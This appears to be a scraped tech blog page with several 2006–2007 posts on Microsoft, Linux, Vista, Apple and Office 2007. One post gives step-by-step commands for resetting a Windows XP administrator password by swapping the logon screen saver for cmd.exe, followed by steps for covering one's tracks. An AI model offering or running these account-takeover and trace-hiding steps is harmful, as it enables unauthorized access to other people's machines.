Microsoft - $51.12 billion annual revenue as of 2007. (http://en.wikipedia.org/wiki/Microsoft) It’s the company that every web geek is supposed to hate. But, why? As Clazh points out in this entry,

Sure IE 7 doesn’t have the best support for Web Standards but at least Microsoft is trying. Hey I am web designer and I hate IE. But lets not forget that IE was at one time the most advanced and sophisticated Browser heck IE was the first to implement the concept of AJAX.

!Then comes this news, yup from Microsoft turf… (more…)

Continuing to the Part ][ of the series started by Apple Gazette of the 5 Predictions for Apple in 2007, here are the list of the 5 Predictions for Linux in 2007! Before we look ahead, a small flashback over 2006. This was The year that changed Linux, with Oracle becoming a Linux distributor, Microsoft and Novell partnering to make Linux and Windows more compatible, rift between the Linux core developers and FSF and a lot more happening.

What is really interesting is the fact that the Linux community itself is forking considering that even old-schoolers and pioneers joining hands with proprietary licenses, with reference to ESR joining the Freespire board. It was in ESR’s book itself and as part of the Halloween document 1 discussion that ESR noticed and acknowledged the strongest point of the Linux community being a central control over “no-forking” as forking decreases the amount of glory received as part of the contribution to the community. However, like any human, I love drama and this is exactly why watching the Linux community is going to be really interesting over 2007. Here are a list of things that I am going to be on the lookout for. In no particular order

1. Rise of the Linux “Big Business” Corporates
These include all the Big Business boys who promote Open Source Software and are earning bucks out of the Open Source Business Model. All of them are eyeing to make some $$$, now that Linux has proved itself to be a mission critical trustworthy player. That includes Debian, Novell, Red Hat, and joining the latest into the race signing a deal with Sun, is Canonical [the parent of Ubuntu]

2. Rise/Race of the Desktop Linux
Linux has certainly evolved from a command line “toy” for the green-glowing screen CRTs to a slick desktop, with a lot more interesting eye-candy than Vista or OSX. [Well at least to the eyes of the slightly more than average computer user]. thanks to Compiz, Beryl! Furthermore these effects are to a large extent community support based and independent of the hardware - whether it be a PC or a Mac. Ubuntu Linux is _the_ most popular free Linux that’s being used, in both the PCs and the Macs. What are the other communities going to do? And how is this going to affect the rise of the desktop Linux?

3. What are the FSF policies going to be in GPLv3.0
FSF is against DRM. Vista and OS X.5 [Leopard] have built in support for DRM based working environments. Who’s going to win in this war[???]? Is there going to be scuffle between the big vendors supporting DRM and the FSF community?

4. Any chance of Googubuntu?
There was a rumor that Google was working on a desktop OS that is googlicized [I call this term :D]. Will it be coming true as part of 2007 list of surprises by Google? Will they finally decide to have a “consumer-first” based OS? We’ll have to wait and see

5. How many forks are going to happen as a result of people against GPLv3.0?
Firefox vs IceWeasel, Linux core developers against FSF. Who goes where? Or is there going to be peace and harmony and solid work, which has been the success of Linux rising as a desktop OS today!

All this and more to be looked forward to!! Coming soon to a world near you - 2007!!

This marks an end to our list of predictions of the Windows and Linux community. Wishing you all and happy and fun and prosperous 2007.

Got more, disagree, or just wanna tip us off with more information? Pop in a comment here…

Originally posted by gurupanguji @ Bracketed Bull…

Linux - and free software in general - have been traditionally plagued with one constant concern by the non-users [by that I mean the Windows and the Mac bandwagon] that there are far too many choices. Which Linux flavor to choose? You have Red Hat, Suse, Debian, Gentoo, Fedora, Ubuntu, Kubuntu, Edubuntu, Unnamedubuntu, and what not. Windows has XP and Mac has OSX. I personally believed [as highlighted here] that it was perfect with the ideology of FSF. Concept of freedom [as in free speech] brings about a related concept of choice. There are many people believing in many ideologies, methods and concepts there. The same is obviously extended to the software developers as well. [They are human for uninitiated] So, you have very many software that are generated.

Saying you have just way too many choices is like saying you have too many choices when you go to buy a pair of running shoes. Or saying you have far too many options when you go to buy a mobile connection. Why should software be any different? You’d expect the user to be aware of the options, and choose or make a mistake just like _any_ consumer market!!

Anyway, Microsoft, with its release of multiple options for Windows Vista may have either finally accepted this or have joined the bandwagon.

Microsoft offers 4 separate versions of Windows Vista - Vista Home Basic, Vista Home Premium, Vista Business and Vista Ultimate! Hmm, maybe it’s the year for options after all ;-)!

Does more choice generally mean that it’s better or is it confusing? What do you think? Post your thoughts in the comments section!!

Originally posted by gurupanguji @ Bracketed Bull…

[source: http://www.mihaidragan.ro/kindablog/wp-content/uploads/2006/08/leopard2.jpg]

Disclaimer: I haver never owned a Mac or used / worked in OSX, however respect both the machine and the OS.

Year - 1998: As a junior editor for the yearbook, I was introduced to a PC, well a computer at least that had a mouse which had only one mouse button! This was the year I had actually been given a computer @ home and I was hooked to Windows 95 and Motoracer and a game called G-Nome! I used to scoff @ the links leading me to the desktop from where I am typing this particular post when I used to search for cheat codes for the game - GNome! The Intenet Explorer was a true boon to me - a source of games, cheat codes, chatting and PORN! ;-)! Windows was GOD, as it allowed me to do all that - play games and check out porn!

I had an AMD K6 processor based machine, which clocked 200Mhz and well it was AWESOME ;-)! I never realised at that point of time, the magnitude of change, literally a radical revolution that was going to occur with the electronics industry and 8 years later, I’d be typing away on a laptop that’s easily 20 times more powerful than my desktop in 1998, will run a version of the Operating Sytem, which was named after a game I knew and I’d be using that same OS to type something known as a blog, about what I thought about [or didn’t] 8 years ago over a hi-speed internet connection.

Anyhoo, the point is that the world has changed. Now, getting back to the main topic. At that point of time, I NEVER imagined that I’d be drooling over a laptop created by those same SINGLE-MOUSE-COMPUTER guys and Id be lusting behind a version of the Operating System, which I thought was complete crap. I am smitten people, yes, truly crazy about the MacBook and the MacBook Pro. These notebooks are an exquisite mesh of sound engineering design, power and eye-candy! Something Apple has been excelling at - a good-looking gadget that according to them “JUST WORKS”

Consequently, my free time, this is the time other than the time I don’t work and I am not writing to my better half, I have been checking out videos and pictures of the MacBook and MacBook Pro. Well, all-in-all, I have just one statement tomake - I WANNA GET MYSELF ONE OF THOSE!! Well, at least that was the case until today afternoon, where I came across a very interesting video.

[youtube=http://youtube.com/watch?v=N-2C2gb6ws8]

What I found appalling about this video was the constant mockery of Windows Vista by the Apple people. I agree that OSX is an amazing Operating System - a software wonder. Be kind enough to share it with the PC world! If you think people all over the world would appreciate it so much, why is Mac not release OSX - PC Version? Well, the answer is simple - it can’t!!

OSX will run offcially ONLY on a Mac. Talk about proprietary to the core. This is something along the lines of how Sony works as well. Sony has its own brand of adapters, chargers, even alkaline cell policies, which allow ONLY Sony Battery chargers to run on it!

Now, whilst I agree that this is important to maintain Mac sales, and also is the reason why the Mac running OSX is a lot more stable than the PC running Windows, Apple guys were twisting the fact, trying to make us consumers believe that OSX is a lot better than Windows, Windows Vista in this case. That too based on the “similarity” of “looks” of certain applications.

However, Apple _conveniently_ forgot to mention the following - Windows is targeted at a mainstream customer base, where in the hardware is NOT an issue. A Windows copy [mite not be all the features all the time] will definitely run on any PC, as long as it maintains the requirements of the Operating System!! Now, I agree that Microsoft might have spent an awful lot of money and resources on developing Windows Vista. However, what I am considering what Microsoft has done, if at all they have copied features of Mac, is bring the features of OSX into the PC world, which is going to be received with open arms. I am still shocked @ the negative publicity given to an operating system, which wasn’t even released at the point of time the video was shot.

I had great respect for Steve Jobs, however his stupid bullish attitude is now making me take a fresh look at his products. There’s NO reason for him to take such a bullish attitude with Microsoft and Windows. This is also shown in the Mac vs PC ads. So, Steve, seriously, your products look great and I have heard that they work amazingly well as well, however what you did in that show, was rude, and totally uncalled for. I have not seen, so far at least any ads by Microsoft against any of your products, and trust me, your products are NOT flawless.

The Mac is picking up sales thanks to the shift to the Intel Chips. However, you must also take note Steve, the multitude of videos in youtube, the tremendous number of pics in Flickr, etc, which show a Mac running WIndows. Apple itself is working on BootCamp so that it “does” windows now.

But, Steve ever considered this - A Mac now runs Windows, but can any PC run OSX?

So, chill guys, I mean there’s market for everyone!! Peace in the cyber world!! I am all up for innuendos, but downright flagrant attack on your competitor’s products is NOT good marketing =D! It’s a good way to get attention to yourself, however, make sure that you have a product that can handle all that attention!!

Update: 2006-12-09 Check out this video during MacWorld 1997. Hmm, interesting how Steve Jobs has changed his perception after Apple has pulled itself back together.

[youtube=http://www.youtube.com/watch?v=WxOp5mBY9IY]

I was apprehensive about what I wrote wondering I were indeed a bit strong about Apple, not being a sportive player in the market. However, after seeing the video above, where in Apple was down and under and Microsoft and Apple “tying the knot” literally, really speaks something about Steve Jobs doesn’t it?

Crossposted @ Ramblings of an Eccentric Soul… - by gurupanguji

I know a lot of people who are waiting to get they’re hands on a copy of MS Office 2007. But for all those of you who cant bother to wait, heres the opportunity. You can test drive the entire MS Officce suite here.The most important thing is that you wouldnt need to install anything.

These are the list of application that you would be able to try out.

1. Microsoft Office Access 2007
2. Microsoft Office Excel 2007
3. Microsoft Office InfoPath 2007
4. Microsoft Office OneNote 2007
5. Microsoft Office Outlook 2007
6. Microsoft Office Outlook 2007 with Business Contact Manager
7. Microsoft Office Outlook Web Access
8. Microsoft Office PowerPoint 2007
9. Microsoft Office Project Professional 2007
10. Microsoft Office Publisher 2007
11. Microsoft Office SharePoint Designer 2007
12. Microsoft Office Visio 2007
13. Microsoft Office Word 2007

Look at the link below for an updated version of the Post

How to Hack or Crack a Windows XP Administrator Password

(Before you continue Read the Updates at the bottom)
This is only for educational purpose it is a simple way to Hack the Window XP Administrator Password and also get away with it. To Hack the Window XP Administrator Password not many steps are involved especially if you already have a knowleged of working with the DOS prompt.

Here are the steps involved to Hack the Window XP Administrator Password .

1. Go to Start –> Run –> Type in CMD
2. You will get a command prompt. Enter these commands the way it is given
3. cd\
4. cd\ windows\system32
5. mkdir temphack
6. copy logon.scr temphack\logon.scr
7. copy cmd.exe temphack\cmd.exe
8. del logon.scr
9. rename cmd.exe logon.scr
10. exit

Wait its not over read the rest to find out how to Hack the Window XP Administrator Password
A Brief explanation of what you are currently doing here is

Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr. and

So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command

net user password

Example: If the admin user name is clazh and you want change the password to pass Then type in the following command

net user clazh pass

This will chang the admin password to pass.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do.

Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.

1. Go to Start –> Run –> Type in CMD
2. You will get a command prompt. Enter these commands the way it is given
3. cd\
4. cd\ windows\system32\temphack
5. copy logon.scr C:\windows\system32\logon.scr
6. copy cmd.exe C:\windows\system32\cmd.exe
7. exit

Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.

Thanks to internetbusinessdaily.net

Posted By Clazh

Update: Christian Mohn points out this is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.

The funniest image I found here - Top 10 Linux crash images

Update: Added a really good Video From http://www.masternewmedia.org

[youtube=http://www.youtube.com/watch?v=yY6gf5aa93E]

Today’s Download of the day is the windows Live writer. If you are the non-geek-type go here
Part 1. Installation,
Part .2 Configuration,
Part 3 - Editor options, editing and posting
To see a step by step guide to installing windows live writer and configuring it for Wordpress and posting from it. I am going to highlight only the best features of windows live writer and why Windows live writer is the best offline blog editor that I have seen so far in fact I believe it has no competition. If you are a serious blogger you would most probably be using offline blog editors like Performancing extension for Firefox, Qumana, wbloggar etc. There are several reasons to choose a offline editor like Windows live writer over the internal editors of Wordpress, Blogger, MSN Spaces etc. Lets face it web based editing is always slower and it such a pain to insert links, pictures, files and Tags. Some reasons why you should be using a offline blog editor like Windows live writer over the default inbuilt editor are:

1. Easier, Faster editing, modification of your posts and Drafts.
2. Support for Multiple Blogs and cross posting.
3. Offline Editing. (i.e. you can edit your post when your not logged onto the Internet)
4. More flexibility i.e. insertion of similies, Technorati tags, Google maps, Youtube videos, Odeo etc.
5. Easier trackbacks Management.
6. More Support for other Pinging services other than Pingomatic. (If you want your blog posts listed blog search engines)
7. Support for Extra plugins that insert specific functionality/tags. Example Currently Listening to Coldplay - Northern Lights, Support for direct Dragging and dropping From flickr Images and pictures inside the interface, upload pictures, files etc.

(more…)